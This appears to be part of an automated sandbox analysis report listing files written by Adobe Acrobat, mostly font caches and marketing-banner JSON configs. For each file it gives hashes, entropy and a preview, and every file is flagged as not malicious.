Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.688

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360964111723483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJM3g98kUwPeUkwRe9:YvXKXfhBKUTbdleGMbLUkee9
MD5:	075F2350CBB3E7E1A3662A164A1DAC64
SHA1:	59B07F96D92005CFE3D54959EE234192051ED291
SHA-256:	3327F743FAA16CEADAC03D9C60CAB7C97F2078099A2AF559553293C4B0E9694A
SHA-512:	F7BE22E65782C6FB34DE564FEAA246573658ACFE52A0E3ADBD403B6C308404F4FFB0287B30E00AC15F35149505CF04D6D41325F3312BB9AC5394B6E2C3E58382
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299434260960999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfBoTfXpnrPeUkwRe9:YvXKXfhBKUTbdleGWTfXcUkee9
MD5:	96A065C2538BEB23C9795DFEA14B1598
SHA1:	FE07F298B99FED4E8CF1E98432025394F4648AFA
SHA-256:	E071ED358DBDA5935BC9A054EEB76E031A6D61FFE5CA4C4971504DB569FD205F
SHA-512:	2BFA18999F812BC4C1557CA1A9A9509F62C6E6AFBF0660A7DC8B3F0067BB0E83644DA6D32D2A07837B418292A10862CA369E9FA9B951E13AEA4BE244B9C1FE70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27783357982943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfBD2G6UpnrPeUkwRe9:YvXKXfhBKUTbdleGR22cUkee9
MD5:	BF6ED610768E73524CCC2930357EF6C2
SHA1:	AC47AEE721A0FD8661485D2FAC5AAF01441667DB
SHA-256:	686F165024B005AAB07510B4516CC8E29644F599ED2A7E0F8EB611AAFA2AF547
SHA-512:	1310DFB2B67C1523F7BE8AB6CD273F5D7DD147061AF4788C178DAC6DCE55059489D5EA6C8DF0D21DDC6F20B181CF226547221A1C8CE9E3F707CE378C5BAF377D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33515863653896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfPmwrPeUkwRe9:YvXKXfhBKUTbdleGH56Ukee9
MD5:	F30EDD2302D6C26D717BF4E4671F8A87
SHA1:	F58A0FE69AF935E9BB7120EF9F14038C73C77F3A
SHA-256:	3F743029FF8A499F5AD59C98C162EAA33130BCAE77D12A39170BF44379247EE7
SHA-512:	760DF78B86964A644CA9B08C9490530C356D839AED1AFA16ED9B2A626F70B198DFABEA73C5B10F3B4A8C51DD9E2CE2DCEE49418F1BFA0749178135DCB31E69B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692350732047128
Encrypted:	false
SSDEEP:	24:Yv6XfCUXjrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSy:Yvnwjrhgy6SAFv5Ah8cv/y
MD5:	EAD6E9AA89690597689AA0B2A54313C4
SHA1:	CE387D2484C5038AF278BC4AE97585CEBDAC73EC
SHA-256:	7B9BC2B3E9882D186C80F62BF3BBE71D7BA82996C312336EA0FE54044FBEA7BA
SHA-512:	E966D2CB9F9FCF1AD97A9ABBC67556C41D69A599B5EEDFBB1220B914054272CB2E3B87DC10F0E99301149D73071777EBE5CFC7F3DA4E797B9F53E5A44EFE02E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278500438693161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJf8dPeUkwRe9:YvXKXfhBKUTbdleGU8Ukee9
MD5:	10BF89CD822BCEB9E92195D35C3BDE15
SHA1:	3DB22A34AD7AE1BB0BCC4638286784D3B325F5FE
SHA-256:	03740138CD64AFDD5F8498CE0A67996EE1F966035F15002A0715F8BAD1A87D19
SHA-512:	73CDBCA82CEE10F33A25151CE67D92022BB146CBFB8A5E774F1ADE4379984D0BAEAC3A4BCA9E9DE76300A0CC55132D18CE1F6CB540CC2B4B891EF88C09340DA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281973373516655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfQ1rPeUkwRe9:YvXKXfhBKUTbdleGY16Ukee9
MD5:	221D659BFF6B8B445206A5C1BBD8226E
SHA1:	1A567B9252695E8BB0CF36A635FB9959DA521D6C
SHA-256:	C769A5B1F9CA8E8D6C0D67A7D4456C8704BBE500E4A0752AEF3CCB499E6401BE
SHA-512:	2A147880F62C63EE693879E143494A3A38351F70E5FE082392668898D8062846A867C5A5BE6575C3FE717AE6646DA55A55D13EEB20007A204344D2CC24B2085C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291546360483295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfFldPeUkwRe9:YvXKXfhBKUTbdleGz8Ukee9
MD5:	CE28F8051396497267246F93AD4B4F85
SHA1:	3DE1616F6FF2E3790F908FBA8D73A8452DEBF765
SHA-256:	4AF51E1FB41BCA35C8A7AAC04B6AF99A32EB36694325804F5B7CE18C06205A2F
SHA-512:	CF78C6D561E0FBE6358F9FFF3EA0155A62FCFD29A9A6AA10E53EC68C29EF0246E924798A6C3AD4ADEBD000517729DE99F6F917BDD26A674088309E1A90B2CACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305173602795803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfzdPeUkwRe9:YvXKXfhBKUTbdleGb8Ukee9
MD5:	89E55A101E00EB54D9CAD6626431D11E
SHA1:	5D0A09F9F700141DD89B0401E02F55673A0D0DF1
SHA-256:	59C8679D0C632C7C002F30FF95E5497906AF050C7B879BBF9AF0F040ABD4CFB3
SHA-512:	7B524D46F9ABA41F7450A6B3C554E8B0619861AE63565246EBC7D1E6CB715D840741E44CA94F7FEB6208212CD36435B4AD52C5700832C6B5D788A04972A64AA6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285522743117113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfYdPeUkwRe9:YvXKXfhBKUTbdleGg8Ukee9
MD5:	5A901FB786ECC7B9AB30B9C584604F9B
SHA1:	60F93C52C7BD1428ABD0E38EBB3396AEF569E1CE
SHA-256:	B6B66DF792F52A228A6DBA0FEA81E9E719F5EFD00326EEA651BF00FE951F652C
SHA-512:	F1299C7B84770EE6CB398CEBE44B520B0F77CFDF9C755733E2EE7BA44A5283AC2A6E2C252F5FEC4B82E7459BFEEEE1C64AC4D89A3DFC513008CF3704EBB31A3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2710005331237975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJf+dPeUkwRe9:YvXKXfhBKUTbdleG28Ukee9
MD5:	72EE8520F2A1E13B23BECBB8CF8F0996
SHA1:	D5F5E32951008BD133D32481CEF11BF90B926CD9
SHA-256:	8F53FBF871D940FC476DC7AA12AEAC0A785CE2BC4F11A7919C00FF07200096A3
SHA-512:	A5F4EBB5B1B84AB882DDAE20D91205ECC22773153D7FE674CC70606896ECBCAB892839647A115D6F332F5E9A66005779089DEDDE6F392858C6034270F945BD56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269169340838283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfbPtdPeUkwRe9:YvXKXfhBKUTbdleGDV8Ukee9
MD5:	278FDECB0F39DD4D017A6B63C4657839
SHA1:	7D9B07AA4F27535855E8792BABFBD1189F6913C6
SHA-256:	F5A3D7E1A2B85D348562D40231CC537E73FF7A260BEBFFE2E415372DE76405CC
SHA-512:	0EAACB42EBA0A42FEFA14BB5BABEE4441CAF9F8BFC374849E89AAE99F06F9F21EA6A50F545113B933FD6A1F73C039BFE49B4FEEBF11CFE9C07BBB3A7A4A38F35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272350274297007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJf21rPeUkwRe9:YvXKXfhBKUTbdleG+16Ukee9
MD5:	C2A8F044FF79BEFA4B6F064F72DF3CB6
SHA1:	D9B489B0956C8CF6EFF84B331ACA6ABAEC407A1A
SHA-256:	C965218434286BFDA35685E1FAC551275BD5D461748EC4349AE7BA6801D0D019
SHA-512:	B1632563091085AE8186465ED4261CDE00C7010AC42253E0FE8A0525B552768FADB50639277E9103B48E6A0AF4F63E254C272AA167BB70E87C934941406A0B2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666546001833134
Encrypted:	false
SSDEEP:	24:Yv6XfCUXjLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvnwjbBgkDMUJUAh8cvMy
MD5:	39FF75FDF3D4E6C2C45E6A1165268835
SHA1:	77F635B6CB443033363134BB31723E5F8A9DD2A1
SHA-256:	3317F77644F31C0BC4E46A3785887DC45C345655FF963E81949E13BC9A8EA6D5
SHA-512:	5453115EF5302EF919D8BA01ACA6562AE5F3780E98367E0873F9964F4F1FF8B6A999D00E560FBBC2C3521DEA9F37388E6F77F4052BED2A557C51E220ACBE1944
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248339540279654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJfshHHrPeUkwRe9:YvXKXfhBKUTbdleGUUUkee9
MD5:	A0DCEB96657EE69F8FC8245C37A4905A
SHA1:	E4406A0BC197BA2138CCB5677E1D59C0E0557715
SHA-256:	FAA3B41878669FA3FFB7C744E3675DDDC6EA6054B24C5DD310BA4F8A7A6F1A41
SHA-512:	C36449AC394F2AEDCA5CB23E92489A76D88C285F0D7CFC9A7C62A90F524761462FE29D0FF494B891466E29CD77AF78F5F9881A3A2204D94F954FCEA72BEABA29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252507877538315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfhi43/394UXjb24kF0YmWFcieoAvJTqgFCrPeUkwRe9:YvXKXfhBKUTbdleGTq16Ukee9
MD5:	623FF13A705D85B09AA098338CF76E4C
SHA1:	001BFFD988C951C4657BF432DE0D2FD507525E16
SHA-256:	C689554F6A8B277C595801FBF0E2F7A225E2D85460F903CDBC775B7AA750C437
SHA-512:	C723B1DBD2169711F024A28887C672F19841DC0F56EB6F4034FD350E6F3FB801BCC544F05BD586EF2FBCCA417E89FD48E702E08E14FE38BF40BA68939AA2D032
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5110f38-a5d0-4b38-8925-bff7172573a1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736704320428,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141224319203684
Encrypted:	false
SSDEEP:	24:YWGaAraypPJvqnzGgagXOlu0Y4tj3gNj0Sn107257a2LS5CP7Um3rON05+90luEj:Yd35c6gz30Y2wh8drg7Um3rB890J
MD5:	AC37DB830A52402D617D6BC02428CBC1
SHA1:	8EF5A4600A05BFD6A4A321DAA30B258190F630E8
SHA-256:	A5BAC27C5547A6FBCEA901AC05C939014CCBB5776D4513FB37B0B61E695C1C86
SHA-512:	E0A169C8882F254FDF73ADFE0EE972884C5E378C360425C8A94C914E771EAB4A50BE0E3EA12AB3809065FA4834B3E90848AECD201B8746B2042DA907C72238F6
Malicious:	false
